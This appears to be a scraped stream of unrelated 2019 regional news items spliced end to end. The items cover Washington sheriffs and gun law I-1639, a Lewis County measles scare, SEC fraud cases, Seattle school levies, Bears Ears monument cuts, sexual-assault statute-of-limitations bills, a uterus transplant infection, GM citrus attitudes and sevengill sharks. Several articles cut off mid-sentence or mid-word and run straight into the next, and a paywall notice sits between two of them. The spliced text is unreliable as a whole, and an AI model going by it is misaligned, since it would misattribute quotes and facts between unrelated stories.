The sheriffs claim the law is unconstitutional, but most have been vague about which parts of the law they object to and which parts they will not enforce.

The main responsibility for local law enforcement under the new law is to run the enhanced background checks  searching at least three state and federal databases and checking for outstanding warrants and pending criminal charges.

It is this aspect of the law, which local law enforcement has performed for years on anyone who tries to buy a handgun, that Ferguson said he is most concerned about.

These enhanced background checks keep guns out of the hands of dangerous individuals who lawfully cannot own firearms because of a mental illness or criminal record, Ferguson wrote. As far as I know, no Washington sheriff or police chief has refused to perform these enhanced background checks for handguns. Why refuse to perform them for semiautomatic assault rifles?

It is unclear how many of the sheriffs and police chiefs who have vowed not to enforce the law planned to not conduct the background checks.

For instance, Franklin County Sheriff Jim Raymond called the law unconstitutional and said he wouldnt enforce it, but said he supported the 10-day waiting period and the enhanced background checks.

Certainly were going to follow all of those type of things, Raymond said.

If other sheriffs do not, however, Ferguson said they could be held liable if a gun sale that would have been prevented by the new background checks goes through and then someone uses that gun in a crime.

The taxpayers of your city or county assume the financial risk of your decision to impose your personal views over the law, he wrote.

In defending their refusal to enforce the new law, several sheriffs have cited Seattle and other sanctuary cities that have promised to limit local involvement with immigration enforcement.

Officers have discretion, said Klickitat County Sheriff Bob Songer, who said he wont enforce the law. I follow the rule of law when I believe its constitutional.

Ferguson says the comparison is misplaced. I-1639 is a state law, Ferguson writes, and law-enforcement agencies have a duty to abide by the will of the people we serve and implement and enforce the laws they adopt.

This is not a situation where the federal government is trying to force the state to enforce federal laws, he wrote. If you personally disagree with Initiative 1639, seek to change it. Or file a lawsuit challenging it. But do not substitute your personal views over that of the people.Thank you for reading!

You have reached your 30-day limit of free access to SentinelSource.com, The Keene Sentinels website. If you would like to read two more articles for free at this time, please register for an account by clicking the sign up button below.

We hope you find The Sentinels coverage of the Monadnock Region valuable. We rely on our subscribers to bring you strong local journalism and hope you will consider supporting our work by taking advantage of this special subscription offer here.Karen Thomas, pictured here with her husband Doug, recently donated a kidney to her mother, whose kidney functions had dropped to 10 percent and was facing dialysis or a transplant. Thomas describes herself as "the vehicle" to save her mother's life with God as the pilot who oversaw the timing and success of the procedure.Charles H. Woods of London, KY, passed peacefully June 18, 2021, at Baptist Hospital in Lexington after a courageous battle with cancer. He is survived by his wife, Charlene; his daughter Lindsay Reedy (Aaron); and grandchildren, Tanner, Arden, and Nolan. He also leaves behind his nephew, CrPosted Wednesday, February 13, 2019 10:04 am

Public health officials are breathing a sigh of relief after a pair of suspected measles cases in Lewis County tested negative  but theyre remaining vigilant as an outbreak continues in nearby Clark County.

Were definitely on high alert, said Public Health and Social Services Director Danette York. We watch for anything that could be measles, because its very contagious.

Recently, the county sent two samples off to a Washington State Department of Health lab, after patients exhibited symptoms that are sometimes associated with measles. Both tests came back negative.

The measles disease is highly contagious, and can spread to someone who enters a room as long as two hours after an infected person has been there. More than 50 people  mostly young children  have been infected in Clark County, leading Gov. Jay Inslee to declare a public health emergency.

Symptoms of measles include fever, runny nose and coughing, followed by a red rash several days later. The disease can be fatal in small children. With a widespread outbreak nearby, Lewis County officials are preparing for the disease to make its way here.

According to York, her agency has sent letters to schools and local medical providers, asking them to be on the lookout for symptoms. The two cases the county had tested were referred by local providers.

If children are not vaccinated, then we recommend getting the vaccination, York said.

If a measles case is confirmed at a local school, any children who are not vaccinated must be held out of school for 21 days after the verification of the last known case at that school. If cases turn up over a matter of weeks, that countdown resets, and unvaccinated children could miss more than a month of school.

Washington state allows children to be exempted from the vaccinations for medical, religious and philosophical reasons. A bill to remove the philosophical exemption drew hundreds of protesters to the state Capitol in Olympia, many of whom raised the false claim that vaccines can cause autism.

There is no scientific link to any vaccines and autism, York said, noting that shes received no pushback in Lewis County as she urges people to get vaccinated.

For now, the county is continuing to prepare for an outbreak, but hoping that work proves unnecessary.

We havent had any cases in Lewis County, and hopefully it stays that way, York said.On February 13, 2019, the Securities and Exchange Commission filed insider trading charges against a former senior attorney at Apple whose duties included executing the company's insider trading compliance efforts.

The SEC's complaint alleges that Gene Daniel Levoff, an attorney who previously served as Apple's global head of corporate law and corporate secretary, received confidential information about Apple's quarterly earnings announcements in his role on a committee of senior executives who reviewed the company's draft earnings materials prior to their public dissemination. Using this confidential information, Levoff traded Apple securities ahead of three quarterly earnings announcements in 2015 and 2016 and made approximately $382,000 in combined profits and losses avoided. The SEC's complaint alleges that Levoff was responsible for securities laws compliance at Apple, including compliance with insider trading laws. As part of his responsibilities, Levoff reviewed and approved the company's insider trading policy and notified employees of their obligations under the insider trading policy around quarterly earnings announcements.

The SEC's complaint, filed in federal district court in Newark, New Jersey, charges Levoff with fraud in violation of Section 17(a) of the Securities Act of 1933, Section 10(b) of the Securities Exchange Act of 1934 and Rule 10b-5 thereunder, and seeks a permanent injunction, disgorgement, prejudgment interest, a civil penalty, and an officer and director bar.

In a parallel action, the U.S. Attorney's Office for the District of New Jersey today announced criminal charges.

The SEC's investigation, which is continuing, has been conducted by Pei Chung and Elizabeth Doisy. The case has been supervised by Deborah A. Tarasevich and Ms. Chion. The litigation will be led by Daniel Maher and Cheryl Crumpton. The SEC appreciates the assistance of the U.S. Attorney's Office for the District of New Jersey, the Federal Bureau of Investigation, and the Financial Industry Regulatory Authority.The Securities and Exchange Commission has obtained final judgments against a microcap company and its two undisclosed promoters who were charged with running a $3.3 million microcap fraud.

In September 2017, the SEC charged Jason McDiarmid, Kenneth George Cedric Telford, and Stop Sleep Go, Inc., formerly known as Interactive Multi-Media Auction Corp, with running a pump-and-dump scheme in Interactive Multi-Media's stock. The complaint alleged that McDiarmid and Telford took Interactive Multi-Media public and then orchestrated a promotional campaign touting its stock while they dumped their shares, selling them through nominees. McDiarmid and Telford made approximately $3.3 million in profits.

On October 25, 2018, the U.S. District Court for the Central District of California entered a judgment by default against McDiarmid. On November 19, 2018, the court entered a judgment against Telford and a judgment by default against Interactive Multi-Media. Telford previously consented to the entry of the judgment without admitting or denying the allegations of the complaint. The judgments permanently enjoin McDiarmid, Telford, and Interactive Multi-Media from violating the antifraud provisions of Section 17(a) of the Securities Act of 1933 and Section 10(b) of the Securities Exchange Act of 1934, and Rule 10b-5 thereunder, and permanently enjoin McDiarmid and Telford from violating the registration provision of Section 5 of the Securities Act. The judgments against McDiarmid and Telford bar each of them from serving as an officer or director of a public company and from participating in any offering of a penny stock. The judgment against McDiarmid orders him to pay $3,177,268 in disgorgement, $291,035 in prejudgment interest, and a civil penalty of $1,644,766. The judgment against Telford orders him to pay $3,316,235 in disgorgement, $302,871 in prejudgment interest, and a civil penalty of $1,644,766.

The SEC's investigation was conducted by Roberto Tercero and supervised by Spencer Bendell. The SEC's litigation was handled by Amy Longo, Donald Searles, and Mr. Tercero. The SEC appreciates the assistance of the Financial Industry Regulatory Authority.Record snows did not present rough sledding for two big Seattle school levies, which were passing with more than two-thirds of the vote Tuesday night.

The $815 million three-year operations levy, Prop. 1, paying for services ranging from counselors to custodians to school nurses, was taking 65.8 percent of the vote.

The $1.4 billion capital levy, Prop. 2, was doing even better at 68.19 percent of the vote, with 82,000 ballots counted.

The capital levy will make major renovations to eight schools -- including notably achieving Rainier Beach High School -- add 1,908 classrooms and make technology improvements.

"This tremendous victory comes in the midst of some historic weather and associated challenges," said Melissa Pailthorp, who headed the levy campaign.

When it -- allegedly -- fully funded education, however, the Legislature shortchanged Seattle and capped levy amounts.

Seattle Schools will still have to make $40 million in cuts, Seattle Schools chief financial officer JoLynn Berge said Tuesday night.

School measures were also passing in Renton and Pierce County.

The "associated challenges" in Seattle consisted largely of a hostile Seattle Times editorial page, which argued for a negative decision on Prop 1 and sending Seattle Schools back to the drawing board.

RELATED: 9 ways Seattle life can be made better in 2019

The paper was critical of the district for giving teachers in its 102 schools a 10 percent pay raise.

Ultimately, however, the Times had as much influence swaying voters as it did endorsing Dino Rossi for Congress last fall.

"The voters, I think, understood that we need to have high quality, innovative and safe schools if we are to be a great city, and were not interested in playing politics," said Pailthorp.

Added Berge, in an interview: "We were cautiously optimistic but this city really does put education first."

The Seattle School District enrolls 53,000 students. It has recently taken on a new Superintendent. Denise Juneau came from Montana where she was state schools superintendent.Major outdoor equipment and clothing retailers have joined Native American groups in seeking to block President Trump's decision to slash two big national monuments in Utah, a move to facilitate coal mining and oil exploration.

"We just lost millions of acres of protected land," REI said in a statement. "But we remain united as a community."

On its website, the Washington-based co-op pledged to "continue to advocate for the places we all love," and urged members to switch profile pictures to an icon saying "We (heart) our public lands."

Patagonia is joining in lawsuits against Trump's move, the largest rollback of protected lands in American history. The monuments were created under the Antiquities Act, first used by President Theodore Roosevelt to protect the Grand Canyon and Olympic Mountains.

3 1 of 3 Mark Loewen/ASSOCIATED PRESS/Natural History Museum of Utah Show More Show Less 2 of 3 Rick Bowmer/AP Show More Show Less 3 of 3





"I'm going to sue him: It's a shame that only 4 percent of American lands are national parks," Patagonia founder Yvon Chouinard told CNN. "We need more, not less. This government is evil and I'm not going to sit back and let evil win."

The Pacific Northwest may be the next region to feel the Trump national monument axe.

U.S. Interior Secretary Ryan Zinke, in a report released Tuesday, has recommended shrinking and stripping protection from the Cascade-Siskiyou National Monument in Oregon, just north of the California border.

The monument protects forests and grasslands at the intersection of the Cascade and Siskiyou mountain ranges. It is famed for its wild flowers, plant life birds and butterflies. It is the first national monument established for the specific purpose of safeguarding biodiversity.

Zinke has not defined where exactly he would shrink the monument, expanded by President Obama last year.

Oregon Sens. Ron Wyden and Jeff Merkley along with Gov. Kate Brown, denounced the recommendation.

"This move is a monumental mistake," Merkley said. "The Cascade Siskiyou National Monument is a unique and special place, unlike anywhere else in the United States. The Trump administration is ignoring the voices of thousands of Oregonians who have spoken out in favor of the monument, and is recklessly risking the future of irreplaceable biodiversity and natural wonder."

Zinke has, however, said that the Hanford Reach National Monument, on the Columbia River in Eastern Washington, will not be touched.

The recreation industry is putting money and muscle into defending the monuments.

The North Face is donating $100,000 into developing a Bears Ears Education Center, and has urged customers to give to a Kickstarter campaign to create it. The campaign quickly collected $125,000.

Trump cut the Bears Ears Monument, in southeast Utah, from 1.2 million acres to just 201,000 acres, and cut it into two fragmented segments.

The Access Fund, a national non-profit organization that protects America's rock climbing areas, announced that it will sue the Interior Department over the carving up of Bears Ears. About 40 percent of the monument's rock climbing areas are now open to mining and drilling.

"Bears Ears was the first national monument proclamation to specifically acknowledge rock climbing as an appropriate and valued recreation activity," said Brady Robinson, Access Fund executive director.

"This was a huge win for the climbing community, as the Bears Ears region is home to a substantial amount of world-class climbing ... Bears Ears is a critical battle in the greater fight for America's public lands."

Patagonia is all-in. Its website message"The President stole your land"has been taken up by conservationists across the country.

Secretary Zinke made light of Patagonia, and accused the company of lying, in a Tuesday conference call with reporters.

"You mean Patagonia made in China? He asked. "This is an example of a special interest ... Not one square inch was stolen. The federal estate remains intact."

Earlier this year, noting that Utah Gov. Gary Herbert opposed the Bears Ears monument, Patagonia pushed to have the outdoor industry trade show, the Outdoor Retrailer and Snow Show, moved out of Utah. It will be held in Colorado in January.

Yvon Chouinard is a tough. He starred in a Patagonia TV information spot earlier this year, saying: "Public lands have never been more threatened than right now. This belongs to all the people in America."

How tough?

Chouinard and Washington's Fred Beckey made the first ascent of the 11,037' South Howser Tower in the Bugaboos of British Columbia, and the first climb of the great North Face of Mt. Edith Cavell in the Canadian Rockies. Parks Canada had refused to register the climb, deeming it impossible.Lisa Flotlin was 16 and 17 years old when she grew close with her high school Spanish teacher.

He was "well-known and well-liked" at school, she said, and he took students on trips abroad to Spain and Costa Rica.

However, he also brought alcohol to school and shared it with Flotlin, and sent her texts and offered her gifts.

After they came home from a group trip abroad, he invited her to his home, where he "pushed" sexual acts on her, she said.

But Flotlin didn't understand until she was in college that her teacher had taken advantage of her. By that time, "it was too hard for me to come forward" and report him, she said.

It wasn't until she was ready to pursue charges at 25 years old that she, police and prosecutors realized she couldn't. If she'd been assaulted at 15, according to state law, she could have moved forward with a report. But because of the time in her life that the abuse occurred, Washington's statute of limitations prevented her from seeking justice.

"I got hit hard by that," Flotlin said. "I felt very small and quiet  like I did when (the abuse) happened."

RELATED: In limbo: Immigrant survivors of domestic violence, rape, face deportation as they seek relief

A bill updating Washington's statute of limitations is one of several measures intended to protect sexual assault survivors that advocates say are ripe for passage in this year's legislative session.

In the post-#MeToo era, lawmakers could usher in several reforms that would make it easier to prosecute offenders and keep them from contacting victims.

"We need to improve our laws around this issue desperately," said David Ward, senior attorney at Legal Voice, which advances lawsuits and advocates for legislation protecting women's interests. "We're hearing a lot more people from the community who want to see the Legislature take action."

Statute of limitations

In Flotlin's case, because she was older than 16, she had only three years to report the abuse by the popular teacher. But if she had filed a police report within one year of her assault, prosecutors would have had 10 years to pursue legal action.

That's one set of stipulations set forth by a matrix that guides prosecutors on whether they can file charges in a variety of sexual assault crimes. Variables include the date the crime occurred, the age of the victim and whether or not the survivor reported the incident to law enforcement within a year of the crime.

Washington state

State representatives have introduced two bills so far addressing the issue: one would eliminate the statute of limitations for first-degree child rape and first-degree child molestation, and the other is more expansive, eliminating the statute of limitations for 21 different felony sex offenses.

That a cop and a prosecutor didn't know she had no case until they consulted the chart is telling, in Flotlin's view. To her, the laws are too complicated and don't necessarily track with a victim's process in coming to terms with what happened.

"I wasn't able to seek closure through a criminal case," she said  and perhaps that teacher assaulted more teens in the meantime, she added.

Flotlin wants to see Washington's statute of limitations simplified or expanded. Because she couldn't see her attacker prosecuted, she directs her energy to advocating for statute of limitations reform.

Legal Voice advocates for the "strongest protection we can get," Ward said.

RELATED: What's at stake for domestic violence survivors under Trump?

A bill that passed the House of Representatives last year would have eliminated the statute of limitations for most sex offenses, but the Senate didn't bring its counterpart bill to a final floor vote, he said.

King County senior deputy prosecutor Ben Santos, chairman of the Special Assault Unit, said lifting the statute of limitations is "ultimately the right thing to do."

But eliminating the statute wouldn't revive old cases, he added. It would only apply to new cases occurring after the change in law.

A detective had just recently asked senior deputy prosecutor Emily Petersen whether to refer a case to her because he, too, was unsure whether it fell within the statute of limitations.

But, she added, such a reform wouldn't necessarily make proving long-ago assaults easier; memories and evidence still fade.

When presenting a case to a jury, she said, "It's not about what happened, it's what you could prove."

"They still deserve to be investigated," she added.

Third-degree rape: a law in limbo

Of the several felony sexual assault crimes on the books, third-degree rape is one of the hardest to charge.

Second-degree rape requires an element such as physical force, mental incapacitation on the part of the victim, or the attacker's supervisory role over the victim. First-degree rape typically involves a deadly weapon or some type of life-threatening force.

Third-degree rape seemingly bears a lower threshold for charging, but for one thing: It not only requires a lack of consent on the victim's part, but an outright rejection of sex.

In a way, it makes third-degree rape harder to prove than first- and second-degree rape, Santos said.

That keeps victims in danger, he added. Often, victims who resist an attacker's advances may suffer a more serious assault.

"Women who fight back during these kinds of encounters lead to an escalation in violence," Santos said.

RELATED: Mother Nation: Healing the trauma of native women

Because of those challenges, Petersen said that she sometimes has to tell assault survivors that they didn't legally suffer a crime.

A bill introduced in January would simplify that language so that prosecutors only have to prove a lack of consent; not that the survivor explicitly voiced that consent. That measure passed out of the House Feb. 7 and was in a Senate committee as of Feb. 12.

Mary Ellen Stone, executive director of King County Sexual Assault Resource Center, said that many of Washington's rape laws were written in the '70s or '80s and don't conform to what people understand as rape today. Her agency has served "many, many" victims whose cases couldn't be charged because the prosecutor couldn't make the incident meet the definition of rape by law.

"Our goal is to reduce barriers to reporting, close this justice gap and make it easier for victims to give their voice in the criminal justice system," Stone said. "We need to catch up with the times."

And a change in the law would make for more solid cases to present to a jury, Santos said.

"(The reform) will now allow juries to consider the totality of the circumstance," he said. "We're convinced more juries will convict on those."

Sexual assault protection order

Another law that places an extra burden on a survivor, in advocates' view, is the state's standard for securing a protection order after suffering a sexual assault.

The state Supreme Court ruled in January 2018 that a woman raped at the University of Washington couldn't secure a sexual assault protection order that would prevent her from running into her attacker on campus because she had to prove not only that he raped her, but that he also posed a continuing threat to her safety.

"Our Supreme Court interpreted that in a more narrow way than was intended," Stone said of Roake v. Delman.

The basis for acquiring a protection order should be what happened, not what might happen in the future, she added.

The measure introduced in January seeking to clarify the law calls out the Supreme Court case specifically.

"The legislature agrees with the dissenting opinion's view in Roake v. Delman that 'experiencing a

sexual assault is itself a reasonable basis for ongoing fear,'" the proposed reads.

It remains unclear how many of the bills will pass this year.

But Ward, whose organization Legal Voice employs lobbyists to advance such measures, sees bipartisan momentum behind protecting survivors.

"What we're seeing is more legislators are definitely aware of and interested in seeing these bills move forward," he said. "Legislators on both sides of the aisle are very supportive of major reforms."Mayor Jenny Durkan wants Seattle citizenry to take to the streets -- and particularly the sidewalks.

With the goal of getting students back in school, the Mayor announced a "Shared Shovel" program, urging neighbors to turn out around midday and clear sidewalks to their neighborhood schools.

It is, Durkan said, a cure for cabin fever, a showing of community and good exercise.

Sam Zimbabwe, director for the Seattle Department of Transportation, said his department's top priority is clearing streets to schools, particularly eight Seattle elementary schools.

RELATED: Is your Seattle street still not plowed? Here's why

"While our arterials are clear, conditions on side streets are very variable," Zimbabwe said.

The city will be applying salt to arterials in anticipation of a freeze tonight.

The number of Seattle City Light customers without power, in the thousands Tuesday, is down to just 25 as of 11 a.m., Wednesday.

Joel Connelly has been a staff columnist for more than 30 years. He comments regularly on politics and public policy. Joel Connelly has been a staff columnist for more than 30 years. He comments regularly on politics and public policy.

"We have been successful in bringing back almost everyone," Seattle City Light CEO Deborah Smith said.

Good Deeds Dept:

The city's navigation teams have brought to shelter 150 homeless people found outdoors during the multiple "snow events."

He once fed (then) future President Barack Obama, but Seattle restaurateur Tom Douglas found a new clientele Tuesday, preparing 250 hot meals for those sheltered at the Seattle Center.

The city's prime goal for Wednesday -- get the schools back open. After all, Seattle voters gave two levy measures a smashing victory Tuesday night.The U.S. Senate, in a surprising bipartisan action, passed legislation Tuesday that revives the Land and Water Conservation Fund and blocks future mining in Washington's beautiful upper Methow Valley.

The legislation gives a go-ahead to the latest phase of a Yakima River Basin enhancement plan directed at providing more water for both irrigation and fishery restoration.

"This bill is proof our elected officials can work together across partisan divides," said Mark Bereyka, government affairs director at REI.

The bill passed the Senate on a 92-8 vote, with climate change deniers and Republicans Sen. Jim Inhofe and Sen. Ted Cruz, voting no.

It was crafted in the Senate Energy and Natural Resources Committee by the bipartisan team of Sen. Lisa Murkowski and Sen. Maria Cantwell.

RELATED: Forest Service -- Upper Methow is no place for mining

"This legislation we passed today is a recognition that our climate is changing and that we need new tools to carry out new responsibilities as it relates to managing public lands," Cantwell said.

Joel Connelly has been a staff columnist for more than 30 years. He comments regularly on politics and public policy. Joel Connelly has been a staff columnist for more than 30 years. He comments regularly on politics and public policy.

The Land and Water Conservation Fund was allowed to expire in September. Created in the mid-1960's -- Sen. Henry Jackson of Washington was a driving force -- it takes a portion of federal oil and gas royalties to preserve public lands.

It's a very big deal here. Nearly $700 million has been spent on projects in Washington, from Riverside Park in Spokane and the Yakima River Canyon to Mt. Rainier National Park.

The fund was permanently reauthorized in the Senate bill. It will no longer have to fight for its life in Congress every few years.

"Permanent reauthorization will give much needed consistency and predictability to the folks doing on-the-ground work to conserve and protect our lands and waters," said Mike Stevens, state director of The Nature Conservancy.

The upper Methow Valley is traversed by the North Cascades Highway. It is a land of spectacular peaks, clean waters and abundant wildlife including Washington's largest mule deer herd. Wolves and wolverines are also found in the valley.

A Canadian company's plans for exploratory drilling roused Methow Valley residents three years ago.

The Senate legislation blocks mining development over 340,000 acres of the upper valley.

ALSO FROM CONNELLY: There's light (and slush) at end of snowstorm tunnel

Oregon is another big winner in the bill, with 250 miles of streams given protection under the Wild and Scenic Rivers Act.

Murkowski and Cantwell are adults in the Senate, able to cooperate even though they fought over oil drilling in the Arctic National Wildlife Refuge.

The Senate bill goes to the House, where its prospects are excellent.At least one of them was said to have been martyred in Rome for offering single Roman soldiers a Christian marriage ceremony, but marriage was forbidden to single soldiers. Furthermore, Roman soldiers were forbidden to have a Christian marriage.

This St. Valentine also was said to have healed by prayer the jailers blind daughter and to have then sent a final message signed, Your Valentine. However, this St. Valentine also is said to have his remains scattered around Europe, including as far away as Dublin but also in Rome, Spain, Greece, France, Poland, Bulgaria, England and other places in Italy.

Of course, all of these places cannot realistically be the saints final resting place. But in any event, Pope Gelasius in 496 established St. Valentines Feast Day for the Roman Catholic Church as Feb. 14, although some historians argue the pope was trying to co-opt the lovers holiday associated with the pagan god Juno or the fertility day Lupercalia (celebrated Feb. 15 and the source of our word February).

St. Valentines feast day was removed by the Catholic Church in 1969, but it is still celebrated anyway, and it even was mentioned by Pope Benedict in 2007. Valentine remains a Roman Catholic saint. His day also is celebrated in some Anglican and Lutheran churches.On March 7, 2016, doctors at the Cleveland Clinic introduced the nation to Lindsey McFarland, the first person to undergo a successful uterus transplant in the United States. Within hours, however, McFarland was back in surgery: A life-threatening infection forced the organs removal, crushing hope she might one day give birth.

McFarland later learned the culprit was Candida albicans, a fungus common in womens reproductive tracts. In her, it flared into a raging infection that damaged at least two of her arteries, including one that supplied blood to the newly-implanted uterus.

What she did not know is the transplanted uterus had come from a donor suffering from a Candida infection in her bladder  a fact made clear by routine testsconducted by the Miami organ group that provided the uterus.

That group, the Life Alliance Organ Recovery Agency (LAORA), claims it alerted McFarlands surgeons to the infection soon after discovering it. But officials at the Cleveland Clinic said they were not told until weeks later, after the infection had forced the uterus removal.

No one reported the bladder infection to us, said a Cleveland Clinic official, who asked for his name to be withheld because he was not authorized to speak about the case. We would have treated it and acted differently.It was great to hear from the commanding general, he said.

The next stop was watching a basic combat training graduation ceremony, which had to be moved indoors because of the weather, which made it different than most of the weekly ceremonies.

Cadet 1st Lt. Hailey Zink, a sophomore at West Florence Highs School and part of the Air Force JROTC program, said experiencing the graduation ceremony helped solidify my decision to join the Army. She plans to join the Army after high school and wants to become a combat medic.

You should have seen her at graduation and heard her yell HOOAH! said her friend Cadet Maj. Thomas Byrd.

Cadet Lt. Col. Ian Grant, a senior, and the leader of the cadet battalion, said he had been on other similar tours of Fort Jackson, but what he took away this time was a little different. Some on the tour commented on how sharp the West Florence cadets looked. And he was pleased with his fellow students.

I am so proud of our cadets and the way they are conducting themselves  just like we have been trained, Grant said.

The student learned to shoot a rifle on a simulator system.FLORENCE, S.C.  Francis Marion University accounting students are once again offering free tax-return preparation through the Internal Revenue Services Volunteer Income Tax Assistance (VITA) program.

From 5 to 9 p.m. each Wednesday through April 10, tax-preparation assistance will be offered in Room 259C in Founders Hall on the FMU campus.

Tax returns are, of course, due on April 15.

Taxpayers seeking help should bring a picture ID, a Social Security card (or military I.D. bearing the Social Security number) for the taxpayer, his or her spouse and all dependents listed on the tax return. Taxpayers should also bring their W-2s and 1099 forms.

The program is open to all residents of the United States. There are no income requirements for the service and the group can prepare both state and federal taxes.

The student tax preparers are seniors who are in or have passed the Accounting 428 Federal Tax II course and who have received special certification through the VITA program.

Brad Johnson, associate professor of accounting at FMU and supervisor of the VITA program at the university, says the student preparers are well-equipped to complete tax returns of various kinds.I am sure the Lions and Kiwanis have similar ideals, he said.

He said community service organizations breathe quality into their communities. He said service clubs can have a dramatic impact on politics.

Civic organizations demonstrate what can be achieved when groups work together for a common goal, he said.

Eckstrom said no one keeps secrets. There is transparency; unlike with government agencies.

The states chief accountant is all about transparency in state spending.

He said transparency holds public officials accountable. He said people elect government officials, and they have a right to know what is going on. That is why he pushed to have spending records online.

It is one of the most satisfying things I have worked on, he said.

He said the number of inquiries and request to his office has declined since people have access to spending records.

He gave some examples of how putting the state agencies purchasing card purchases online has helped curb their spending or held them more accountable.

He talked about the gas tax hike and how the money is being spent.FLORENCE, S.C.  North Vista Elementary teacher Shannon McGurn got a chance Tuesday to show off what she and her class did with a Ruiz 4 Kids Mini Grant for Teachers: Ozobots.

McGurn's classroom took their Ozobots  thumb-sized, dome-shaped wheeled robots with flashing lights  and turned them loose on mathematically based mazes to work their way through equations, 45-degree turns and, if everything went right, success.

The whole process was driven by the students' Chromebooks.

Thanks to the Ruiz 4 Kids grant, my students have acquired an intuitive, block-based coding foundation behind robotic commands," McGurn said. "The Ozobots have given students much-needed experiences in exploration and creativity  something often lost in the classroom. The hands-on experience provided through the use of Ozobots have kept students engaged which is directly tied to achievement.

Educators do such a tremendous job every day working hard to make learning an exciting and challenging experience, Ruiz 4 Kids board member Krista Meekins said.A tiny insect, no bigger than the head of a pin, is threatening to topple the multibillion-dollar citrus industry in the U.S. by infecting millions of acres of orchards with an incurable bacterium called citrus greening disease.

The battle to save the citrus industry is pitting crop producers and a team of agriculture researchers -- including agricultural communications professor Taylor K. Ruth of the University of Illinois -- against a formidable brown bug, the Asian citrus psyllid, which spreads the disease.

Trees infected with the disease, also called Huanglongbing or HB, bear small, misshapen, bitter-tasting green fruit and often die within five years. Currently, there's no known cure for the disease, which has cost the U.S. citrus industry billions of dollars in crop production and thousands of jobs since it was first identified in Florida in 2005, according to agriculture experts.

Among other solutions, scientists are exploring the possibility of breeding genetically modified trees that are resistant to the disease.

But given the controversy over the safety of genetically modified food, scientists need to know whether producers will adopt this technology and whether shoppers will buy and consume GM citrus fruit.

A recent study, funded by the U.S. Department of Agriculture, provides some encouraging answers.

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Ruth was on a team of scientists from several universities that surveyed a representative sample of U.S. consumers and conducted focus groups to better understand American consumers' attitudes about GM food and agriculture.

About half of the 1,050 people who responded to the survey had positive attitudes toward GM science, the researchers found. Nearly 37 percent of the consumers surveyed felt neutral about GM science and 14 percent had negative perceptions of it.

Most of the people who were receptive to GM science were white males who were millennials or younger, the data indicated. They were highly educated -- most held a bachelor's degree or higher -- and affluent, with annual incomes of $75,000 or greater.

Women, on the other hand, constituted 64 percent of the group with negative feelings about GM science. Baby boomers and older adults were nearly twice as likely to fall into this group. People in this group also were less educated -- about half reported some college but no degree.

The findings were published recently in the journal Science Communication. Co-authors of the paper were Joy N. Rumble, of Ohio State University; Alexa J. Lamm, of the University of Georgia; Traci Irani, of the University of Florida; and Jason D. Ellis, of Kansas State University.

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Since social contexts influence public opinion on contentious issues, the survey also assessed respondents' willingness to share their opinions about GM science, their current perceptions of others' views on the topic and what they expected public opinion about it to be in the future.

The research team was particularly interested in exploring the potential impact of the "spiral of silence" theory, a hypothesis on public opinion formation that states in part that people who are highly vocal about their opinions in public encourage others with similar views to speak out while effectively silencing those who hold opposite views.

"If people believe the majority of others disagree with them on a topic, they will feel pressure to conform to the majority opinion," Ruth said.

"People aren't going to be supportive of something if nobody else is supportive of it -- no one wants to feel like they are different from the group. That's the reality of the world that we live in today."

By contrast, people surveyed who rejected GM science were more likely to express their opinion when they believed others held the opposite view. But people with positive feelings about GM technology were less likely to speak out when they believed others supported it too.

"The way others express their attitude has an indirect effect on what our attitude ends up being," Ruth said. "We might fall in the actual majority opinion about some of these complex topics, but if other people aren't vocalizing their opinions, we don't know that others out there are like-minded.

"Then we start to think 'Well, maybe I should realign my attitude to what I'm seeing in the media.' What we see in the media is just reflective of the most dominant voice in the conversation, not necessarily the majority opinion. And I think sometimes people don't quite understand that."

Like climate change, GM science is among the complex challenges that some researchers call "wicked issues" -- societal problems that are often poorly understood and fraught with conflict, even when the public is provided with relevant science and facts, Ruth, Rumble, Lamm and Ellis wrote in a related study.

That paper was published recently in the Journal of Agricultural Education.

"We must have these conversations about these wicked issues," Ruth said. "If scientists let other people who don't have a scientific background fill the void, we're not going to be a part of that conversation and help people make decisions based upon all of the facts."Judicial Watch Requests DOJ IG Investigate Any Leaks to CNN on Stone Raid and Leaks to Buzzfeed on Cohen Testimony Contact: Jill Farrell, Judicial Watch , 202-646-5188



On January 25, 2019, CNN was the only media outlet to be present and shooting



Read more...

WASHINGTON, Feb. 13, 2019 / Christian Newswire / -- Judicial Watch announced today that it sent an official complaint to the Justice Department's Office of Inspector General (IG) calling for investigations into leaks of information about Special Counsel Robert Mueller's investigation. The complaint asks for an investigation of any leaks to CNN about the controversial raid on the home of Roger Stone and for leaks to Buzzfeed suggesting that President Trump directed Michael Cohen to lie to Congress.On January 25, 2019, CNN was the only media outlet to be present and shooting exclusive footage of the swat-team type raid by the FBI when it arrested former trump associate Roger Stone at his home in Florida. Though CNN has claimed that its being on site in the dark of night was merely a matter of "good instincts," Acting Attorney General Matthew Whitaker told a congressional committee last week that "It was deeply concerning to me as to..."

Share TweetA new study has documented unexpected consequences following the decline of great white sharks from an area off South Africa. The study found that the disappearance of great whites has led to the emergence of sevengill sharks, a top predator from a different habitat. A living fossil, sevengill sharks closely resemble relatives from the Jurassic period, unique for having seven gills instead of the typical five in most other sharks.

These findings are part of a long-term collaborative study between shark researcher Neil Hammerschlag from the University of Miami (UM) Rosenstiel School of Marine and Atmospheric Science, and wildlife naturalist Chris Fallows from Apex Shark Expeditions.

The research focused on the waters surrounding Seal Island in False Bay, South Africa, a site well known for its "flying" great white sharks that breach out of the water when attacking Cape fur seals. Since the year 2000, the research team has spent over 8,000 hours observing great whites from boats, during which they recorded 6,333 shark sightings, and 8,076 attacks on seals. These data revealed that for more than a decade, great white numbers were relatively stable, but in 2015 sightings began to drop off steeply.

"In 2017 and 2018, their numbers reached an all-time low, with great whites completely disappearing from our surveys for weeks and months at a time," said study lead author Neil Hammerschlag, a research associate professor at the UM Rosenstiel School and Abess Center for Ecosystem Science & Policy. "While the reasons for their decline and disappearance remains unknown, it provided a truly unique opportunity for us to see what happens to an ocean ecosystem following the loss of an apex predator."

"In 18+ years of working at Seal Island, we had never seen sevengill sharks in our surveys," said co-author Chris Fallows. "Following the disappearance of white sharks in 2017, sevengill began to show up for the first time and have been increasing in number ever since."

During periods of great white absence in 2017 and 2018, the researchers documented 120 sevengill shark sightings and even witnessed an individual attacking a live seal. In South African waters, sevengill sharks have no equal in the food web with the exception of the great white and orca whale. Historically, the only well-known aggregation site for sevengills in False Bay was located 18 km away from Seal Island within inshore kelp beds. The study suggested that the appearance of sevengill sharks at Seal Island was due to the disappearance of great whites, thereby allowing sevengills to exploit the area without risk of predation from great white sharks or competition with them for shared prey.

